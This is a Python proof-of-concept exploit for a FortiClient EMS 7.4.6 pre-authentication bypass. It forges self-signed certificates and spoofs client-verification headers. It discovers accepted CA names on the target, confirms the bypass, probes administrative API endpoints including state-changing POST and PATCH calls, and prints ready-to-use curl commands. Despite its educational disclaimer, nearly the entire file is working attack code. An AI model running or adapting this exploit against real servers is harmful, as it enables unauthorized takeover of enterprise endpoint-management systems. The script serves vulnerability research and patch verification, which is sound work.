#!/usr/bin/env python3 # CVE-2026-35616 - FortiClient EMS 7.4.6 pre-auth bypass # cert_chain_auth.py trusts X-SSL-CLIENT-VERIFY header directly, no crypto validation # usage: python3 cve_2026_35616.py [port] # # DISCLAIMER # ---------- # This script is provided for educational and authorized security research purposes only. # Do not use this tool against any system you do not own or have explicit written # permission to test. Unauthorized use against production systems or systems you do not # have permission to test may be illegal under the Computer Fraud and Abuse Act (CFAA), # the Computer Misuse Act, or equivalent laws in your jurisdiction. # # The author assumes no liability and is not responsible for any misuse or damage # caused by this tool. By using this script, you agree that you are solely responsible # for complying with all applicable local, state, national, and international laws. # # This was developed in an isolated lab environment for vulnerability research purposes. import re import sys import subprocess import urllib.parse from datetime import datetime, timezone, timedelta import requests import urllib3 from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET = sys.argv[1] if len(sys.argv) > 1 else "172.16.50.51" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 443 BASE = f"https://{TARGET}:{PORT}" ENDPOINT = "/api/v1/system/capabilities" CERT_CHAIN_ENDPOINTS = [ ("GET", "/api/v1/system/capabilities", None), ("GET", "/api/v1/system/version", None), ("GET", "/api/v1/settings/server/public_address", None), ("POST", "/api/v1/fabric_device_auth/fortigate/init", "__sn_body__"), ("PATCH", "/api/v1/fortigate/info", {"fortigates": []}), ] def forge_cert(cn: str) -> str: key = rsa.generate_private_key(public_exponent=65537, key_size=2048) name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)]) cert = ( x509.CertificateBuilder() .subject_name(name) .issuer_name(name) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.now(timezone.utc) - timedelta(days=1)) .not_valid_after(datetime.now(timezone.utc) + timedelta(days=3650)) .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) .sign(key, hashes.SHA256()) ) return cert.public_bytes(serialization.Encoding.PEM).decode() def fetch_tls_ca_cns() -> list: cns = [] try: out = subprocess.run( ["openssl", "s_client", "-connect", f"{TARGET}:{PORT}"], input=b"", capture_output=True, timeout=10, ) in_section = False for line in (out.stdout + out.stderr).decode(errors="replace").splitlines(): if "Acceptable client certificate CA names" in line: in_section = True continue if in_section: line = line.strip() if not line or line.startswith("Requested") or line.startswith("---"): break m = re.search(r"CN=([^,\n/]+)", line) if m: cn = m.group(1).strip() if cn not in cns: cns.append(cn) print(f" [tls] {cn!r}") except Exception as e: print(f" [tls] failed: {e}") return cns def fetch_ztna_ca_cns() -> list: cns = [] try: r = requests.get(f"{BASE}/api/v1/ztna_certificates/download", verify=False, timeout=10) if r.status_code != 200 or "BEGIN CERTIFICATE" not in r.text: return cns for block in r.text.split("-----END CERTIFICATE-----"): block = block.strip() if not block: continue try: cert = x509.load_pem_x509_certificate((block + "\n-----END CERTIFICATE-----\n").encode()) attrs = cert.subject.get_attributes_for_oid(NameOID.COMMON_NAME) if attrs: cn = attrs[0].value if cn not in cns: cns.append(cn) print(f" [ztna] {cn!r}") except Exception: pass except Exception as e: print(f" [ztna] failed: {e}") return cns def send_bypass(method: str, path: str, cn: str, body=None): pem = forge_cert(cn) headers = { "X-SSL-CLIENT-VERIFY": "SUCCESS", "X-SSL-CLIENT-CERT": urllib.parse.quote(pem, safe=""), } url = f"{BASE}{path}" if method in ("POST", "PATCH"): headers["Content-Type"] = "application/json" import json r = requests.request(method, url, headers=headers, data=json.dumps(body or {}), verify=False, timeout=10) else: r = requests.get(url, headers=headers, verify=False, timeout=10) return r.status_code, r.text, pem print(f"[*] CVE-2026-35616 {BASE}\n") def fetch_serial_cn() -> list: cns = [] try: r = requests.get(BASE, verify=False, timeout=10) sn = r.headers.get("Serial Number", "").strip() if sn and sn not in cns: cns.append(sn) print(f" [hdr] {sn!r}") except Exception: pass return cns print("[*] Discovering CA CNs ...") candidates = fetch_tls_ca_cns() for cn in fetch_ztna_ca_cns(): if cn not in candidates: candidates.append(cn) for cn in fetch_serial_cn(): if cn not in candidates: candidates.append(cn) if not candidates: print(" [!] discovery failed — falling back to known Fortinet default CNs") candidates = ["support", "fortinet-ca2"] working_cn = None working_pem = None import json as _json print(f"\n[*] Finding working CN from {len(candidates)} candidate(s) ...") for cn in candidates: try: status, text, pem = send_bypass("GET", CERT_CHAIN_ENDPOINTS[0][1], cn) try: retval = _json.loads(text).get("result", {}).get("retval", -1) except Exception: retval = -1 if status == 200 and retval > 0: working_cn = cn working_pem = pem print(f" [+] CN={cn!r} HTTP {status} retval={retval} ← bypass confirmed\n") break print(f" [-] CN={cn!r} HTTP {status} retval={retval}") except Exception as e: print(f" [!] CN={cn!r} error: {e}") if not working_cn: print("\n[-] Bypass failed — target patched, API unreachable, or headers stripped upstream") sys.exit(1) print(f"[*] Probing all cert_chain endpoints with CN={working_cn!r} ...\n") cert_enc = urllib.parse.quote(working_pem, safe="") for method, path, body in CERT_CHAIN_ENDPOINTS: try: actual_body = {"serial_number": working_cn, "vdom": "root"} if body == "__sn_body__" else body status, text, _ = send_bypass(method, path, working_cn, actual_body) print(f" {method:5s} {path}") print(f" HTTP {status}: {text[:200]!r}") print() except Exception as e: print(f" {method:5s} {path} error: {e}\n") for method, path, _ in CERT_CHAIN_ENDPOINTS: flag = f"-X {method} " if method not in ("GET",) else "" print(f'curl -sk {flag}-H "X-SSL-CLIENT-VERIFY: SUCCESS" -H "X-SSL-CLIENT-CERT: {cert_enc}" "{BASE}{path}"')